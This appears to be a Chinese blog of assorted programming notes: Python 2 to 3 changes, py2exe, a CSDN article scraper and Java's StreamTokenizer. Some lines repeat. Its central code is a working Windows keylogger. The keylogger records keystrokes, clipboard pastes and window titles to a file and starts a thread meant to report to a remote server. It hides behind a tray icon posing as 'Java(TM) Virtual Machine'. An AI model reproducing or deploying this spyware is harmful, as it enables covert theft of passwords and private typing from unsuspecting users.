从python2切换到python3的少许体会
print
不再是个基本语句而是个函数了,从而可以通过end=”,”属性扩充功能。
不必写from future import ...
了。/
成了实数除法运算符,//
才能整数除法。
这是最隐性的坑。input()
在同一行接收多个空格分隔的数据就跪了。
print
不再是个基本语句而是个函数了,从而可以通过end=”,”属性扩充功能。
不必写from future import ...
了。
/
成了实数除法运算符,//
才能整数除法。
这是最隐性的坑。
input()
在同一行接收多个空格分隔的数据就跪了。
安装了py2exe x64
,发现有功能缺陷,不支持打包生成单个Windows可执行文件。
也未能注册windows服务。
# def get_current_process(): # 获取最上层的窗口句柄 hwnd = user32.GetForegroundWindow() # 获取进程ID pid = c_ulong(0) user32.GetWindowThreadProcessId(hwnd,byref(pid)) # 将进程ID存入变量中 process_id = "%d" % pid.value # 申请内存 executable = create_string_buffer("\x00"*512) h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid) psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) # 读取窗口标题 windows_title = create_string_buffer("\x00"*512) length = user32.GetWindowTextA(hwnd,byref(windows_title),512) # 打印 # print # print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value) # print Thread(target=report_to_remote_server).start() output_file('','KeyLog.ini',"\n[ PID:%s-%s-%s] %s\n" % (process_id,executable.value,windows_title.value,time.strftime("%Y/%m/%d %H:%M:%S"))); # 关闭handles kernel32.CloseHandle(hwnd) kernel32.CloseHandle(h_process) # 定义击键监听事件函数 def KeyStroke(event): global current_window # 检测目标窗口是否转移(换了其他窗口就监听新的窗口) if event.WindowName != current_window: current_window = event.WindowName # 函数调用 get_current_process() # 检测击键是否常规按键(非组合键等) if event.Ascii > 32 and event.Ascii <127: # print chr(event.Ascii), output_file('','KeyLog.ini',chr(event.Ascii)) else: # 如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来 if event.Key == "V": win32clipboard.OpenClipboard() pasted_value = win32clipboard.GetClipboardData() win32clipboard.CloseClipboard() # print "[PASTE]-%s" % (pasted_value), output_file('','KeyLog.ini',"[PASTE]-%s" % (pasted_value)) else: # print "[%s]" % event.Key, output_file('','KeyLog.ini',"[%s]" % event.Key) # 循环监听下一个击键事件 return True def RegisterKeyListener(): # 创建并注册hook管理器 kl = pyHook.HookManager() kl.KeyDown = KeyStroke # 注册hook并执行 kl.HookKeyboard() pythoncom.PumpMessages()
但是对于QQEdit.exe,记录值会受到干扰。
def output_file(dir,name,content): fileName = '' if len(dir)>0: fileName = fileName+dir + "/" fileName = fileName + name#.encode('utf-8','ignore') f = open(fileName,"a") f.write(content) # print "Output file",fileName
支持异步多线程操作的UI库
class Tk_App: def __init__(self,master): #构造函数里传入一个父组件(master),创建一个Frame组件并显示 frame = Frame(master) frame.pack() #创建两个button,并作为frame的一部分 self.button = Button(frame, text="QUIT", fg="red", command=sys.exit)# frame.quit self.button.pack(side=LEFT) #此处side为LEFT表示将其放置 到frame剩余空间的最左方 self.hi_there = Button(frame, text="Hello", command=self.say_hi) self.hi_there.pack(side=LEFT) # Thread(target=RegisterKeyListener).start() # sys.stdout.flush() def say_hi(self): print "hi there, this is a class example!" TRAY_TOOLTIP = 'Java(TM) Virtual Machine' TRAY_ICON = 'icon.png' def create_menu_item(menu, label, func): item = wx.MenuItem(menu, -1, label) menu.Bind(wx.EVT_MENU, func, id=item.GetId()) menu.AppendItem(item) return item class TaskBarIcon(wx.TaskBarIcon): def __init__(self,frame): self.frame=frame super(TaskBarIcon, self).__init__() self.set_icon(TRAY_ICON) self.Bind(wx.EVT_TASKBAR_LEFT_DOWN, self.on_left_down) mainth.start(); def CreatePopupMenu(self): menu = wx.Menu() # create_menu_item(menu, 'Say Hello', self.on_hello) create_menu_item(menu,'Control Panel',self.on_control); menu.AppendSeparator() create_menu_item(menu, 'Exit', self.on_exit) # create_menu_item(menu, 'Exit', sys.exit) return menu def set_icon(self, path): icon = wx.IconFromBitmap(wx.Bitmap(path)) self.SetIcon(icon, TRAY_TOOLTIP) def on_left_down(self, event): print 'Tray icon was left-clicked.' def on_hello(self, event): print 'Hello, world!' def on_control(self,event): # print r'"%JAVA_HOME%\jre\bin\javacpl.exe"' # os.system(r'cd /d %JAVA_HOME%'); os.system(r'""%JAVA_HOME%\jre\bin\javacpl.exe""'); # print os.path.realpath(sys.argv[0]) # print os.path.dirname(sys.argv[0]) # print os.path.basename(sys.argv[0]) def on_exit(self, event): wx.CallAfter(self.Destroy) self.frame.Close() mainth._Thread__stop() # sys.exit() class App(wx.App): def OnInit(self): frame=wx.Frame(None) self.SetTopWindow(frame) TaskBarIcon(frame) return True
urllib2.HTTPError: HTTP Error 403: Forbidden
需添加header以伪装成浏览器访问。
UnicodeEncodeError: ‘gbk’ codec can’t encode character u’\u200e’ in position 43: illegal multibyte sequence
应在编码转换时略去无关紧要的不可见字符。参见
import urllib
import urllib2
import re
import os
def mkdir(path):
path = path.strip()
isExists=os.path.exists(path)
if not isExists:
os.makedirs(path)
return True
else:
return False
def output_file(dir,name,content,charset):
fileName = dir + "/" + name#.encode('utf-8','ignore')
f = open(fileName,"w+")
f.write(content.encode(charset,'ignore'))
print "Output file",fileName
def scan_article(host,link,dir,charset):
url=host+link
request = urllib2.Request(url)
# disguising web browser headers
request.add_header('User-Agent','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36')
response=urllib2.urlopen(request)
html= response.read().decode('utf-8','ignore')
# print html
pattern=re.compile(r'\s*([\s\S]*?)\s*')
matches=re.findall(pattern,html)
if matches:
title=matches[0]
# filename=re.sub("\s+","_",title)
filename=re.sub(r'[\s\\\\\\/:\\*\\?"<>\\|]+',"_",title)
#print title,"[",filename,"]"
else:
print "No title matches"
return
pattern=re.compile(r'\s*([\s\S]*?)\s*\s*')
matches=re.findall(pattern,html)
if matches:
html=matches[0]
# print html
else:
print "No contents"
return
# print "Output file",filename+'.html'
try:
output_file(dir,filename+'.html',html,charset);
except Exception as e:
print str(e)
return
def scan_page(id,host,url,dir,charset):
request = urllib2.Request(host+url+str(id))
# disguising web browser headers
request.add_header('User-Agent','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36')
response=urllib2.urlopen(request)
html= response.read().decode('utf-8','ignore')
# print html;
pattern=re.compile(r'([\s\S]*?)',re.I|re.M)
items=re.findall(pattern,html)
if items:
# print items
for item in items:
next=re.match(re.compile(r'\s*([\s\S]+\S)\s*'),item)
if next:
href=next.group(1)
title=next.group(2)
scan_article(host,href,dir,charset)
# print href,"->",title,"[",filename,"]"
else:
print "Invalid item"
return
else:
print "No title matches"
return
dir='data/csdn_utf-8';
host="http://blog.csdn.net"
url="/u013491262/article/list/"
charset='utf-8'
mkdir(dir)
# scan_article(host,"/u013491262/article/details/20783371",dir,'utf-8')
for i in range(28,31):
print "page ",str(i),":"
dir='data/csdn_utf-8'+"/"+str(i).zfill(2)
mkdir(dir)
scan_page(i,host,url,dir,charset)
尝试转入这个github
推荐的代码编辑器。
宣传视频非常有趣。
在github
平台的依托下,Atom在主题风格、插件扩展上异常灵活。
甚至提供apm install atom-beautify
这种命令行安装扩展的方式。
为了帮助初学Java的同学,现给出查看jdk源代码的提示:
相关文件为$JAVA_HOME$/src.zip
今天室友问我,为什么javac编译源代码完成后,用java执行就报错Error: Could not find or load main class
呢?
我习惯性地认为是环境变量的值不合适(百度上很多解答也类同),但检查后并无问题……
StreamTokenizer
double navl ——> 如果当前标记是一个数字,则此字段将包含该数字的值。
String sval ——> 如果当前标记是一个文字标记,则此字段包含一个给出该文字标记的字符的字符串。
static int TT_EOF ——>指示已读到流末尾的常量。
static int TT_EOL ——->指示已读到行末尾的常量。
static int TT_NUMBER——->指示已读到一个数字标记的常量。
static int TT_WORD ——-> 指示已读到一个文字标记的常量。
int ttype ——–> 在调用 nextToken() 方法之后,此字段将包含刚读取的标记的类型。
The StreamTokenizer class takes an input stream and parses it into “tokens”, allowing the tokens to be read one at a time,这些符号的拆分是按照空格来确定的。
查阅官方文档得知,它是不把数字作为字符处理的。它能取得的字符串是以大小写字母为内容的。
换行符也会被视作空格。